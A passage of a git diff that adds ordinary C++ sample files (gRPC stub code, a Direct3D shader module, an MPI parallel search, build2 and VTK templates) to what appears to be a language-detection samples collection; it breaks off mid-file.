+    std::unique_ptr< ::grpc::ClientAsyncResponseReader< ::HelloResponse>> AsyncSayHello(::grpc::ClientContext* context, const ::HelloRequest& request, ::grpc::CompletionQueue* cq) {
+      return std::unique_ptr< ::grpc::ClientAsyncResponseReader< ::HelloResponse>>(AsyncSayHelloRaw(context, request, cq));
+    }
+
+   private:
+    std::shared_ptr< ::grpc::ChannelInterface> channel_;
+    ::grpc::ClientAsyncResponseReader< ::HelloResponse>* AsyncSayHelloRaw(::grpc::ClientContext* context, const ::HelloRequest& request, ::grpc::CompletionQueue* cq) override;
+    const ::grpc::RpcMethod rpcmethod_SayHello_;
+  };
+  static std::unique_ptr<Stub> NewStub(const std::shared_ptr< ::grpc::ChannelInterface>& channel, const ::grpc::StubOptions& options = ::grpc::StubOptions());
+
+  class Service : public ::grpc::Service {
+   public:
+    Service();
+    virtual ~Service();
+    virtual ::grpc::Status SayHello(::grpc::ServerContext* context, const ::HelloRequest* request, ::HelloResponse* response);
+  };
+  template <class BaseClass>
+  class WithAsyncMethod_SayHello : public BaseClass {
+   private:
+    void BaseClassMustBeDerivedFromService(const Service *service) {}
+   public:
+    WithAsyncMethod_SayHello() {
+      ::grpc::Service::MarkMethodAsync(0);
+    }
+    ~WithAsyncMethod_SayHello() override {
+      BaseClassMustBeDerivedFromService(this);
+    }
+    // disable synchronous version of this method
+    ::grpc::Status SayHello(::grpc::ServerContext* context, const ::HelloRequest* request, ::HelloResponse* response) final override {
+      abort();
+      return ::grpc::Status(::grpc::StatusCode::UNIMPLEMENTED, "");
+    }
+    void RequestSayHello(::grpc::ServerContext* context, ::HelloRequest* request, ::grpc::ServerAsyncResponseWriter< ::HelloResponse>* response, ::grpc::CompletionQueue* new_call_cq, ::grpc::ServerCompletionQueue* notification_cq, void *tag) {
+      ::grpc::Service::RequestAsyncUnary(0, context, request, response, new_call_cq, notification_cq, tag);
+    }
+  };
+  typedef WithAsyncMethod_SayHello<Service > AsyncService;
+  template <class BaseClass>
+  class WithGenericMethod_SayHello : public BaseClass {
+   private:
+    void BaseClassMustBeDerivedFromService(const Service *service) {}
+   public:
+    WithGenericMethod_SayHello() {
+      ::grpc::Service::MarkMethodGeneric(0);
+    }
+    ~WithGenericMethod_SayHello() override {
+      BaseClassMustBeDerivedFromService(this);
+    }
+    // disable synchronous version of this method
+    ::grpc::Status SayHello(::grpc::ServerContext* context, const ::HelloRequest* request, ::HelloResponse* response) final override {
+      abort();
+      return ::grpc::Status(::grpc::StatusCode::UNIMPLEMENTED, "");
+    }
+  };
+  template <class BaseClass>
+  class WithStreamedUnaryMethod_SayHello : public BaseClass {
+   private:
+    void BaseClassMustBeDerivedFromService(const Service *service) {}
+   public:
+    WithStreamedUnaryMethod_SayHello() {
+      ::grpc::Service::MarkMethodStreamed(0,
+        new ::grpc::StreamedUnaryHandler< ::HelloRequest, ::HelloResponse>(std::bind(&WithStreamedUnaryMethod_SayHello<BaseClass>::StreamedSayHello, this, std::placeholders::_1, std::placeholders::_2)));
+    }
+    ~WithStreamedUnaryMethod_SayHello() override {
+      BaseClassMustBeDerivedFromService(this);
+    }
+    // disable regular version of this method
+    ::grpc::Status SayHello(::grpc::ServerContext* context, const ::HelloRequest* request, ::HelloResponse* response) final override {
+      abort();
+      return ::grpc::Status(::grpc::StatusCode::UNIMPLEMENTED, "");
+    }
+    // replace default version of method with streamed unary
+    virtual ::grpc::Status StreamedSayHello(::grpc::ServerContext* context, ::grpc::ServerUnaryStreamer< ::HelloRequest,::HelloResponse>* server_unary_streamer) = 0;
+  };
+  typedef WithStreamedUnaryMethod_SayHello<Service > StreamedUnaryService;
+  typedef Service SplitStreamedService;
+  typedef WithStreamedUnaryMethod_SayHello<Service > StreamedService;
+};
+
+
+#endif  // GRPC_hello_2eproto__INCLUDED
+
diff --git a/samples/Arduino/hello.ino b/samples/C++/hello.ino
similarity index 100%
rename from samples/Arduino/hello.ino
rename to samples/C++/hello.ino
diff --git a/samples/C++/module.ixx b/samples/C++/module.ixx
new file mode 100644
index 0000000000..eb999e00ee
--- /dev/null
+++ b/samples/C++/module.ixx
@@ -0,0 +1,402 @@
+//**********************************************************************
+// Copyright Patrick Sweeney 2015-2021
+// Licensed under the MIT license.
+// See file LICENSE for details.
+//**********************************************************************
+module;
+#include <string>
+#include <atlbase.h>
+#include <d3d11.h>
+#include <vector>
+#include <any>
+#include <map>
+
+export module Rendering.Caustic.Shader;
+import Base.Core.Core;
+import Base.Core.Error;
+import Base.Core.RefCount;
+import Base.Core.IRefCount;
+import Base.Math.BBox;
+import Base.Math.Matrix;
+import Rendering.Caustic.IShader;
+
+// A shader is a object that manages the vertex and pixel shader
+//
+export namespace Caustic
+{
+    const int c_MaxFrames = 2; // Maximum number of frames being buffered
+
+    //**********************************************************************
+    // EShaderParamType defines the various types of parameters that can
+    // be passed to a CShader
+    //
+    // Module:
+    // {Link:import Rendering.Caustic.Shader;{Rendering/Caustic/Shader.ixx}}
+    //**********************************************************************
+    enum EShaderParamType
+    {
+        ShaderType_Undefined,
+        ShaderType_Texture,
+        ShaderType_Sampler,
+        ShaderType_Float,
+        ShaderType_Float2,
+        ShaderType_Float3,
+        ShaderType_Float4,
+        ShaderType_Int,
+        ShaderType_Matrix,
+        ShaderType_Matrix3x3,
+        ShaderType_Float_Array,
+        ShaderType_Float2_Array,
+        ShaderType_Float3_Array,
+        ShaderType_Float4_Array,
+        ShaderType_Int_Array,
+        ShaderType_Matrix_Array,
+        ShaderType_Matrix3x3_Array,
+        ShaderType_StructuredBuffer,
+        ShaderType_RWStructuredBuffer,
+        ShaderType_AppendStructuredBuffer,
+        ShaderType_RWByteAddressBuffer
+    };
+
+    //**********************************************************************
+    // Struct: ShaderParamDef
+    // ShaderParamDef defines the shader definitions that were parsed from HLSL
+    // by ParseShader. These definitions define the variables that each
+    // shader defines (i.e. may be set by the client)
+    //
+    // Parameters:
+    // m_type - Defines type of this parameter 
+    // m_name - Name of shader parameter
+    // m_offset - Register offset
+    // m_members - Number of elements (i.e. some parameters can be arrays) 
+    // m_elemSize - sizeof a single element in bytes (used by buffers)
+    //
+    // Module:
+    // {Link:import Rendering.Caustic.Shader;{Rendering/Caustic/Shader.ixx}}
+    //**********************************************************************
+    struct ShaderParamDef
+    {
+        EShaderParamType m_type; // Defines type of this parameter
+        std::wstring m_name;     // Name of shader parameter
+        uint32 m_offset;         // register offset
+        uint32 m_members;        // Number of elements (i.e. some parameters can be arrays)
+        uint32 m_elemSize;       // size of a single element (used by buffers)
+    };
+
+    //**********************************************************************
+    // Struct: ShaderParamInstance
+    // ShaderParamInstance defines each parameter that a shader exposes. These parameters
+    // are derived from the ShaderParamDefs above. This is servers copy of each
+    // parameter along with its value and position in the constant buffer.
+    //
+    // Parameters:
+    // m_value - Value assigned to this parameter
+    // m_values - Array of values assigned to this parameter
+    // m_dirty - Is parameter dirty and needs to be pushed to constant buffer
+    //
+    // Module:
+    // {Link:import Rendering.Caustic.Shader;{Rendering/Caustic/Shader.ixx}}
+    //**********************************************************************
+    struct ShaderParamInstance : public ShaderParamDef
+    {
+        std::any m_value;      // Value assigned to this parameter
+        std::vector<std::any> m_values;
+        bool m_dirty;            // Is parameter dirty and needs to be pushed to constant buffer
+        uint32 m_cbOffset;      // Byte offset of this variable in the constant buffer
+    };
+
+    struct Float { float x; Float(float _x) { x = _x; } };
+    struct Int { int x; Int(int _x) { x = _x; } };
+    struct Float2 { float x; float y; Float2(float _x, float _y) { x = _x; y = _y; } };
+    struct Float3 { float x; float y; float z; Float3(float _x, float _y, float _z) { x = _x; y = _y; z = _z; } };
+    struct Float4 { float x; float y; float z; float w; Float4(float _x, float _y, float _z, float _w) { x = _x; y = _y; z = _z; w = _w; } };
+    struct Matrix
+    { 
+        float x[16]; 
+        Matrix() 
+        { 
+            ZeroMemory(x, sizeof(x));
+        }
+    
+        Matrix(Matrix4x4& m)
+        {
+            int index = 0;
+            for (int col = 0; col < 4; col++)
+                for (int row = 0; row < 4; row++)
+                    x[index++] = m[row][col];
+        }
+
+        Matrix(Matrix3x3& m)
+        {
+            int index = 0;
+            x[index++] = m[0][0];
+            x[index++] = m[1][0];
+            x[index++] = 0.0f;
+            x[index++] = m[2][0];
+            x[index++] = m[0][1];
+            x[index++] = m[1][1];
+            x[index++] = 0.0f;
+            x[index++] = m[2][1];
+            x[index++] = m[0][2];
+            x[index++] = m[1][2];
+            x[index++] = 0.0f;
+            x[index++] = m[2][2];
+            x[index++] = 0.0f;
+            x[index++] = 0.0f;
+            x[index++] = 0.0f;
+            x[index++] = 1.0f;
+        }
+
+        Matrix(float _x[16])
+        {
+            memcpy(x, _x, sizeof(float) * 16);
+        }
+    };
+    
+    struct Matrix_3x3
+    {
+        float x[16];
+
+        Matrix_3x3()
+        {
+            ZeroMemory(x, sizeof(x));
+        }
+        
+        Matrix_3x3(Matrix3x3& m)
+        {
+            int index = 0;
+            for (int col = 0; col < 4; col++)
+                for (int row = 0; row < 4; row++)
+                    if (row == 3 || col == 3)
+                        x[index++] = 0.0f;
+                    else
+                        x[index++] = m[row][col];
+        }
+
+        Matrix_3x3(float _x[16])
+        {
+            memcpy(x, _x, sizeof(float) * 16);
+        }
+    };
+
+    //**********************************************************************
+    // Class: SBuffer
+    // Defines a buffer (which may be either a constant buffer or
+    // and unordered access buffer used by a compute shader).
+    //
+    // Members:
+    // m_spBuffer - the D3D buffer (that will be passed to the compute shader)
+    // m_spStagingBuffer - staging buffer for going between CPU and GPU
+    // m_spView - A view onto the buffer m_spBuffer
+    // m_bufferSize - size of buffer in bytes
+    // m_heapSize - size of the total heap the buffer is contained in
+    //
+    // Module:
+    // {Link:import Rendering.Caustic.Shader;{Rendering/Caustic/Shader.ixx}}
+    //**********************************************************************
+    struct SBuffer
+    {
+        CComPtr<ID3D11Buffer> m_spBuffer;
+        CComPtr<ID3D11Buffer> m_spStagingBuffer;
+        CComPtr<ID3D11UnorderedAccessView> m_spUAView;
+        CComPtr<ID3D11ShaderResourceView> m_spSRView;
+        uint32 m_bufferSize;
+        uint32 m_heapSize;
+        int m_bufferSlot;
+        std::wstring m_name;
+
+        SBuffer() :
+            m_bufferSize(0),
+            m_heapSize(0),
+            m_bufferSlot(0)
+        {
+        }
+    };
+
+    //**********************************************************************
+    // Class: CGPUBuffer
+    // Defines a buffer that is created by the client for passing/receiving
+    // data from a compute shader.
+    //
+    // Module:
+    // {Link:import Rendering.Caustic.Shader;{Rendering/Caustic/Shader.ixx}}
+    //**********************************************************************
+    class CGPUBuffer : public IGPUBuffer, public CRefCount
+    {
+        CComPtr<ID3D11Buffer> m_spBuffer;
+        CComPtr<ID3D11Buffer> m_spStagingBuffer;
+        CComPtr<ID3D11UnorderedAccessView> m_spUAView;
+        CComPtr<ID3D11ShaderResourceView> m_spSRView;
+        uint32 m_bufferSize;
+        uint32 m_heapSize;
+        int m_bufferSlot;
+        std::wstring m_name;
+        EBufferType m_bufferType;
+        uint32 m_numElems; // Number of elemens in buffer
+        uint32 m_elemSize; // Element size (unaligned on CPU)
+        
+        void CreateBuffer(ID3D11Device* pDevice, uint32 bufSize,
+            uint32 bindFlags, uint32 cpuAccessFlags, D3D11_USAGE usage,
+            uint32 miscFlags, uint32 stride, uint32 alignment, ID3D11Buffer** ppBuffer);
+    public:
+        CGPUBuffer() :
+            m_bufferSize(0),
+            m_heapSize(0),
+            m_bufferSlot(0),
+            m_bufferType(EBufferType::StructuredBuffer)
+        {
+        }
+
+        ~CGPUBuffer()
+        {
+            m_numElems = 0;
+        }
+
+        void Create(IRenderer* pRenderer, EBufferType bufferType, uint32 numElems, uint32 elemSize, uint32 bindFlags);
+
+        //**********************************************************************
+        // IRefCount
+        //**********************************************************************
+        virtual uint32 AddRef() override { return CRefCount::AddRef(); }
+        virtual uint32 Release() override { return CRefCount::Release(); }
+
+        //**********************************************************************
+        // IGPUBuffer
+        //**********************************************************************
+        virtual EBufferType GetBufferType() override { return m_bufferType; }
+        virtual CComPtr<ID3D11Buffer> GetBuffer() override { return m_spBuffer; }
+        virtual CComPtr<ID3D11Buffer> GetStagingBuffer() override { return m_spStagingBuffer; }
+        virtual CComPtr<ID3D11UnorderedAccessView> GetUAView() override { return m_spUAView; }
+        virtual CComPtr<ID3D11ShaderResourceView> GetSRView() override { return m_spSRView; }
+        virtual void CopyFromCPU(IRenderer* pRenderer, uint8* pData) override;
+        virtual void CopyToCPU(IRenderer* pRenderer, uint8* pData) override;
+    };
+
+    //**********************************************************************
+    // Class: CShader
+    // Defines a shader used to render materials on an object
+    //
+    // A shader defines a material on a renderable. It is comprised of a pixel
+    // shader, a vertex shader, and constants passed to those shaders.
+    //
+    // Module:
+    // {Link:import Rendering.Caustic.Shader;{Rendering/Caustic/Shader.ixx}}
+    //**********************************************************************
+    class CShader : public IShader, public CRefCount
+    {
+        enum MatrixTypesAvail
+        {
+            PSMatrixAvail_world = 1,
+            PSMatrixAvail_worldInv = 1 << 1,
+            PSMatrixAvail_worldInvTranspose = 1 << 2,
+            PSMatrixAvail_view = 1 << 3,
+            PSMatrixAvail_viewInv = 1 << 4,
+            PSMatrixAvail_proj = 1 << 5,
+            PSMatrixAvail_projInv = 1 << 6,
+            PSMatrixAvail_worldView = 1 << 7,
+            PSMatrixAvail_worldViewInv = 1 << 8,
+            PSMatrixAvail_worldViewProj = 1 << 9,
+            PSMatrixAvail_worldViewProjInv = 1 << 10,
+
+            VSMatrixAvail_world = 1 << 11,
+            VSMatrixAvail_worldInv = 1 << 12,
+            VSMatrixAvail_worldInvTranspose = 1 << 13,
+            VSMatrixAvail_view = 1 << 14,
+            VSMatrixAvail_viewInv = 1 << 15,
+            VSMatrixAvail_proj = 1 << 16,
+            VSMatrixAvail_projInv = 1 << 17,
+            VSMatrixAvail_worldView = 1 << 18,
+            VSMatrixAvail_worldViewInv = 1 << 19,
+            VSMatrixAvail_worldViewProj = 1 << 20,
+            VSMatrixAvail_worldViewProjInv = 1 << 21,
+        };
+        uint32 m_matricesAvail; // Combination of MatrixTypesAvail flags indicating which matrices are referenced by the shader
+        std::wstring m_name;
+        std::vector<D3D11_INPUT_ELEMENT_DESC> m_layout;
+        CComPtr<ID3D11SamplerState> m_spSamplerState;
+        CComPtr<ID3D11InputLayout> m_spLayout;
+        CComPtr<ID3D11PixelShader> m_spPixelShader;
+        CComPtr<ID3D11VertexShader> m_spVertexShader;
+        CComPtr<ID3D11ComputeShader> m_spComputeShader;
+        SBuffer m_vertexConstants;
+        SBuffer m_pixelConstants;
+        SBuffer m_computeConstants;
+        std::map<std::wstring, ShaderParamInstance> m_psParams;
+        std::map<std::wstring, ShaderParamInstance> m_vsParams;
+        std::map<std::wstring, ShaderParamInstance> m_csParams;
+        CRefObj<IShaderInfo> m_spShaderInfo;
+        int m_xThreads;
+        int m_yThreads;
+        int m_zThreads;
+        int m_maxTextureSlot;
+    protected:
+        void DetermineMatricesUsed();
+        void PushMatrix(const wchar_t* pParamName, std::any mat, uint32 vsmask, uint32 psmask);
+        void PushLights(std::vector<CRefObj<ILight>>& lights);
+        void PushMatrices(IRenderer* pRenderer, DirectX::XMMATRIX *pWorld);
+        uint32 ComputeParamSize(ShaderParamDef *pParams, uint32 numParams, std::map<std::wstring, ShaderParamInstance> &params);
+        uint32 ShaderTypeSize(ShaderParamDef& paramDef);
+        void PushConstants(IRenderer* pRenderer, SBuffer *pBuffer, std::map<std::wstring, ShaderParamInstance> &params);
+        void ClearSamplers(IRenderer* pRenderer);
+        void PushSamplers(IRenderer* pRenderer, std::map<std::wstring, ShaderParamInstance>& params, bool isPixelShader);
+        void PushBuffers(IRenderer* pRenderer, std::map<std::wstring, ShaderParamInstance>& params);
+        void PopBuffers(IRenderer* pRenderer, std::map<std::wstring, ShaderParamInstance>& params);
+        void SetParam(const std::wstring& paramName, const std::any& value, std::map<std::wstring, ShaderParamInstance>& params);
+        void SetParam(const wchar_t* paramName, const std::any& value, std::map<std::wstring, ShaderParamInstance>& params);
+        void SetParam(const std::wstring& paramName, int index, const std::any& value, std::map<std::wstring, ShaderParamInstance>& params);
+        void SetParam(const wchar_t* paramName, int index, const std::any& value, std::map<std::wstring, ShaderParamInstance>& params);
+    public:
+        void Create(IRenderer *pRenderer, const wchar_t *pShaderName, IShaderInfo *pShaderInfo, ID3DBlob *pPSBlob, ID3DBlob* pVSBlob, ID3DBlob* pCSBlob);
+        void CreateBuffer(ID3D11Device* pDevice, uint32 bufSize, uint32 bindFlags, uint32 cpuAccessFlags, D3D11_USAGE usage, uint32 miscFlags, uint32 stride, uint32 alignment, SBuffer* pBuffer, ID3D11Buffer **ppBuffer);
+        void CreateConstantBuffer(ID3D11Device *pDevice, ShaderParamDef *pDefs, uint32 paramsSize, std::map<std::wstring, ShaderParamInstance> &params, SBuffer *pConstantBuffer);
+
+        CShader() :
+            m_xThreads(32),
+            m_yThreads(32),
+            m_zThreads(1),
+            m_maxTextureSlot(0),
+            m_matricesAvail(0)
+        {
+        }
+
+        //**********************************************************************
+        // IRefCount
+        //**********************************************************************
+        virtual uint32 AddRef() override { return CRefCount::AddRef(); }
+        virtual uint32 Release() override { return CRefCount::Release(); }
+
+        //**********************************************************************
+        // IShader
+        //**********************************************************************
+        virtual CRefObj<IShader> Clone(ID3D11Device *pDevice) override;
+        virtual std::wstring &Name() override { return m_name; }
+        virtual void BeginRender(IRenderer* pRenderer, IRenderMaterial* pMaterial, std::vector<CRefObj<ILight>>& lights, DirectX::XMMATRIX* pWorld) override;
+        virtual void SetPSParam(const std::wstring& paramName, const std::any& value) override;
+        virtual void SetPSParam(const wchar_t* paramName, const std::any& value) override;
+        virtual void SetPSParamFloat(const std::wstring& paramName, float value) override;
+        virtual void SetPSParamFloat(const wchar_t* paramName, float value) override;
+        virtual void SetPSParamInt(const std::wstring& paramName, int value) override;
+        virtual void SetPSParamInt(const wchar_t* paramName, int value) override;
+        virtual void SetPSParam(const std::wstring& paramName, int index, const std::any& value) override;
+        virtual void SetPSParam(const wchar_t* paramName, int index, const std::any& value) override;
+        virtual void SetVSParam(const std::wstring& paramName, const std::any& value) override;
+        virtual void SetVSParam(const wchar_t* paramName, const std::any& value) override;
+        virtual void SetVSParamFloat(const std::wstring& paramName, float value) override;
+        virtual void SetVSParamFloat(const wchar_t* paramName, float value) override;
+        virtual void SetVSParamInt(const std::wstring& paramName, int value) override;
+        virtual void SetVSParamInt(const wchar_t* paramName, int value) override;
+        virtual void SetVSParam(const std::wstring& paramName, int index, const std::any& value) override;
+        virtual void SetVSParam(const wchar_t* paramName, int index, const std::any& value) override;
+        virtual void SetCSParam(const std::wstring& paramName, const std::any& value) override;
+        virtual void SetCSParam(const wchar_t* paramName, const std::any& value) override;
+        virtual void SetCSParamFloat(const std::wstring& paramName, float value) override;
+        virtual void SetCSParamFloat(const wchar_t* paramName, float value) override;
+        virtual void SetCSParamInt(const std::wstring& paramName, int value) override;
+        virtual void SetCSParamInt(const wchar_t* paramName, int value) override;
+        virtual void SetCSParam(const std::wstring& paramName, int index, const std::any& value) override;
+        virtual void SetCSParam(const wchar_t* paramName, int index, const std::any& value) override;
+        virtual void EndRender(IRenderer* pRenderer) override;
+        virtual CRefObj<IShaderInfo> GetShaderInfo() override;
+        virtual void Dispatch(IRenderer* pRenderer, int xThreads, int yThreads, int zThreads) override;
+    };
+}
diff --git a/samples/Arduino/octave_changer.ino b/samples/C++/octave_changer.ino
similarity index 100%
rename from samples/Arduino/octave_changer.ino
rename to samples/C++/octave_changer.ino
diff --git a/samples/C/main.c b/samples/C++/runtime-compiler.cc
similarity index 100%
rename from samples/C/main.c
rename to samples/C++/runtime-compiler.cc
diff --git a/samples/C++/search.txx b/samples/C++/search.txx
new file mode 100644
index 0000000000..d7916bfbfa
--- /dev/null
+++ b/samples/C++/search.txx
@@ -0,0 +1,132 @@
+
+#ifdef __DEBUG__
+#ifndef __DEBUG_PAR__
+#define __DEBUG_PAR__
+#endif
+#endif
+
+/**
+@file search.txx
+@brief Parallel Search Function
+@author Rahul S. Sampath, rahul.sampath@gmail.com
+*/
+
+namespace par {
+	
+	template <typename T>
+	int maxLowerBound(const std::vector<T> & keys, const std::vector<T> & searchList,
+std::vector<T> & results, MPI_Comm comm) {
+		PROF_SEARCH_BEGIN
+
+		int rank, npes;
+
+		MPI_Comm_size(comm, &npes);
+		MPI_Comm_rank(comm, &rank);
+
+		// allocate memory for the mins array
+		std::vector<T> mins (npes);
+		assert(!searchList.empty());
+
+		par::MPI_Allgather<T>( &(*searchList.begin()), &(*mins.begin()), 1, comm);
+
+		//For each key decide which processor to send to
+		unsigned int *part = new unsigned int[keys.size()];
+		for ( unsigned int i=0; i<keys.size(); i++ ) {
+			//maxLB returns the smallest index in a sorted array such that a[ind] <= key and  a[index +1] > key
+			bool found = par::maxLowerBound<T>(mins,keys[i], part+i);
+			if ( !found ) {
+				//This key is smaller than the mins from every processor.
+				//No point in searching.
+				part[i] = rank;
+			}
+		}
+		mins.clear();
+
+		int *numKeysSend = new int[npes];
+		int *numKeysRecv = new int[npes];
+		for ( int i=0; i<npes; i++ )
+			numKeysSend[i] = 0;
+		// calculate the number of keys to send ...
+		for ( unsigned int i=0; i<keys.size(); i++ )
+			numKeysSend[part[i]]++;
+
+		// Now do an All2All to get numKeysRecv
+		par::MPI_Alltoall(numKeysSend, 1, MPI_INT, numKeysRecv, 1, MPI_INT, comm);
+
+		unsigned int totalKeys=0;	// total number of local keys ...
+		for ( int i=0; i<npes; i++ )
+			totalKeys += numKeysRecv[i];
+
+		// create the send and recv buffers ...
+		std::vector<T> sendK (keys.size());
+		std::vector<T> recvK (totalKeys);
+		// the mapping ..
+		unsigned int * comm_map = new unsigned int [keys.size()];
+
+		// Now create sendK
+		int *sendOffsets = new int[npes]; sendOffsets[0] = 0;
+		int *recvOffsets = new int[npes]; recvOffsets[0] = 0;
+		int *numKeysTmp = new int[npes]; numKeysTmp[0] = 0; 
+
+		// compute offsets ...
+		for ( int i=1; i<npes; i++ ) {
+			sendOffsets[i] = sendOffsets[i-1] + numKeysSend[i-1];
+			recvOffsets[i] = recvOffsets[i-1] + numKeysRecv[i-1];
+			numKeysTmp[i] = 0; 
+		}
+
+		for ( unsigned int i=0; i< keys.size(); i++ ) {
+			unsigned int ni = numKeysTmp[part[i]];
+			numKeysTmp[part[i]]++;
+			// set entry ...
+			sendK[sendOffsets[part[i]] + ni] = keys[i];
+			// save mapping .. will need it later ...
+			comm_map[i] = sendOffsets[part[i]] + ni;
+		}
+		delete [] part;
+		delete [] numKeysTmp;
+
+
+		par::MPI_Alltoallv_sparse((void *)&(*sendK.begin()), numKeysSend,
+                sendOffsets,par::Mpi_datatype<T>::value(), 
+                &(*recvK.begin()), numKeysRecv, recvOffsets,
+                par::Mpi_datatype<T>::value(), comm);
+
+
+		std::vector<T>  resSend (totalKeys);
+		std::vector<T>  resRecv (keys.size());
+
+		//Final local search.
+		for ( unsigned int i=0; i<totalKeys;i++) {
+			unsigned int idx;
+			bool found = par::maxLowerBound<T>( searchList, recvK[i], &idx );
+			if(found) {
+				resSend[i] = searchList[idx];
+			}
+		}//end for i
+
+		//Exchange Results
+		//Return what you received in the earlier communication.
+		par::MPI_Alltoallv_sparse((void*)&(*resSend.begin()), numKeysRecv,
+                recvOffsets,par::Mpi_datatype<T>::value(), 
+                &(*resRecv.begin()), numKeysSend, sendOffsets,
+                par::Mpi_datatype<T>::value(), comm);
+
+		delete [] sendOffsets;
+		delete [] recvOffsets;
+		delete [] numKeysSend;
+		delete [] numKeysRecv;
+
+		for ( unsigned int i=0; i < keys.size(); i++ ) {
+			results[i] = resRecv[comm_map[i]];  
+		}//end for
+
+		// Clean up ...
+		delete [] comm_map;
+
+		PROF_SEARCH_END
+	}
+
+
+}//end namespace
+
diff --git a/samples/C++/simple.re b/samples/C++/simple.re
new file mode 100644
index 0000000000..5fd8891fdb
--- /dev/null
+++ b/samples/C++/simple.re
@@ -0,0 +1,13 @@
+#define	NULL		((char*) 0)
+char *scan(char *p){
+char *q;
+#define	YYCTYPE		char
+#define	YYCURSOR	p
+#define	YYLIMIT		p
+#define	YYMARKER	q
+#define	YYFILL(n)
+/*!re2c
+	[0-9]+		{return YYCURSOR;}
+	[\000-\377]	{return NULL;}
+*/
+}
diff --git a/samples/C++/target.txx b/samples/C++/target.txx
new file mode 100644
index 0000000000..976d2044a9
--- /dev/null
+++ b/samples/C++/target.txx
@@ -0,0 +1,171 @@
+// file      : libbuild2/target.txx -*- C++ -*-
+// license   : MIT; see accompanying LICENSE file
+
+#include <libbuild2/scope.hxx>
+#include <libbuild2/diagnostics.hxx>
+
+namespace build2
+{
+  template <const char* ext>
+  const char*
+  target_extension_fix (const target_key& tk, const scope*)
+  {
+    // A generic file target type doesn't imply any extension while a very
+    // specific one (say man1) may have a fixed extension. So if one wasn't
+    // specified set it to fixed ext rather than unspecified. For file{}
+    // itself we make it empty which means we treat file{foo} as file{foo.}.
+    //
+    return tk.ext ? tk.ext->c_str () : ext;
+  }
+
+  template <const char* ext>
+  bool
+  target_pattern_fix (const target_type&,
+                      const scope&,
+                      string& v,
+                      optional<string>& e,
+                      const location& l,
+                      bool r)
+  {
+    if (r)
+    {
+      // If we get called to reverse then it means we've added the extension
+      // in the first place.
+      //
+      assert (e);
+      e = nullopt;
+    }
+    else
+    {
+      e = target::split_name (v, l);
+
+      // We only add our extension if there isn't one already.
+      //
+      if (!e)
+      {
+        e = ext;
+        return true;
+      }
+    }
+
+    return false;
+  }
+
+  inline optional<string>
+  target_extension_var_impl (const target_type& tt,
+                             const string& tn,
+                             const scope& s,
+                             const char* def)
+  {
+    // Include target type/pattern-specific variables.
+    //
+    // Note that we know this is not dir{} or fsdir{} and that the extension
+    // is not part of the match (see variable_type_map::find() for details).
+    //
+    if (auto l = s.lookup (*s.ctx.var_extension, tt, tn))
+    {
+      // Help the user here and strip leading '.' from the extension.
+      //
+      const string& e (cast<string> (l));
+      return !e.empty () && e.front () == '.' ? string (e, 1) : e;
+    }
+
+    return def != nullptr ? optional<string> (def) : nullopt;
+  }
+
+  template <const char* def>
+  optional<string>
+  target_extension_var (const target_key& tk,
+                        const scope& s,
+                        const char*,
+                        bool)
+  {
+    return target_extension_var_impl (*tk.type, *tk.name, s, def);
+  }
+
+  template <const char* def>
+  bool
+  target_pattern_var (const target_type& tt,
+                      const scope& s,
+                      string& v,
+                      optional<string>& e,
+                      const location& l,
+                      bool r)
+  {
+    if (r)
+    {
+      // If we get called to reverse then it means we've added the extension
+      // in the first place.
+      //
+      assert (e);
+      e = nullopt;
+    }
+    else
+    {
+      e = target::split_name (v, l);
+
+      // We only add our extension if there isn't one already.
+      //
+      if (!e)
+      {
+        // Use empty name as a target since we only want target type/pattern-
+        // specific variables that match any target ('*' but not '*.txt').
+        //
+        if ((e = target_extension_var_impl (tt, string (), s, def)))
+          return true;
+      }
+    }
+
+    return false;
+  }
+
+  // dir
+  //
+  template <typename K>
+  const target* dir::
+  search_implied (const scope& bs, const K& k, tracer& trace)
+  {
+    using namespace butl;
+
+    // See if we have any prerequisites.
+    //
+    prerequisites_type ps (collect_implied (bs));
+
+    if (ps.empty ())
+      return nullptr;
+
+    l5 ([&]{trace << "implying buildfile for " << k;});
+
+    // We behave as if this target was explicitly mentioned in the (implied)
+    // buildfile. Thus not implied.
+    //
+    target& t (bs.ctx.targets.insert (dir::static_type,
+                                      bs.out_path (),
+                                      dir_path (),
+                                      string (),
+                                      nullopt,
+                                      target_decl::real,
+                                      trace).first);
+    t.prerequisites (move (ps));
+    return &t;
+  }
+
+  // exe
+  //
+  template <typename T>
+  const T* exe::
+  lookup_metadata (const char* var) const
+  {
+    if (auto* ns = cast_null<names> (vars[ctx.var_export_metadata]))
+    {
+      // Metadata variable prefix must be in the second name.
+      //
+      if (ns->size () < 2 || !(*ns)[1].simple ())
+        fail << "invalid metadata variable prefix in target " << *this;
+
+      return cast_null<T> (vars[(*ns)[1].value + '.' + var]);
+    }
+
+    return nullptr;
+  }
+}
diff --git a/samples/C++/vtkSparseArray.txx b/samples/C++/vtkSparseArray.txx
new file mode 100644
index 0000000000..d409b067af
--- /dev/null
+++ b/samples/C++/vtkSparseArray.txx
@@ -0,0 +1,618 @@
+/*=========================================================================
+
+  Program:   Visualization Toolkit
+  Module:    vtkSparseArray.txx
+
+-------------------------------------------------------------------------
+  Copyright 2008 Sandia Corporation.
+  Under the terms of Contract DE-AC04-94AL85000 with Sandia Corporation,
+  the U.S. Government retains certain rights in this software.
+-------------------------------------------------------------------------
+
+  Copyright (c) Ken Martin, Will Schroeder, Bill Lorensen
+  All rights reserved.
+  See Copyright.txt or http://www.kitware.com/Copyright.htm for details.
+
+     This software is distributed WITHOUT ANY WARRANTY; without even
+     the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR
+     PURPOSE.  See the above copyright notice for more information.
+
+=========================================================================*/
+
+#ifndef vtkSparseArray_txx
+#define vtkSparseArray_txx
+
+#include <algorithm>
+#include <limits>
+
+VTK_ABI_NAMESPACE_BEGIN
+template <typename T>
+vtkSparseArray<T>* vtkSparseArray<T>::New()
+{
+  // Don't use object factory macros on templates, it'll confuse the object
+  // factory.
+  vtkSparseArray<T>* ret = new vtkSparseArray<T>;
+  ret->InitializeObjectBase();
+  return ret;
+}
+
+template <typename T>
+void vtkSparseArray<T>::PrintSelf(ostream& os, vtkIndent indent)
+{
+  vtkSparseArray<T>::Superclass::PrintSelf(os, indent);
+}
+
+template <typename T>
+bool vtkSparseArray<T>::IsDense()
+{
+  return false;
+}
+
+template <typename T>
+const vtkArrayExtents& vtkSparseArray<T>::GetExtents()
+{
+  return this->Extents;
+}
+
+template <typename T>
+typename vtkSparseArray<T>::SizeT vtkSparseArray<T>::GetNonNullSize()
+{
+  return this->Values.size();
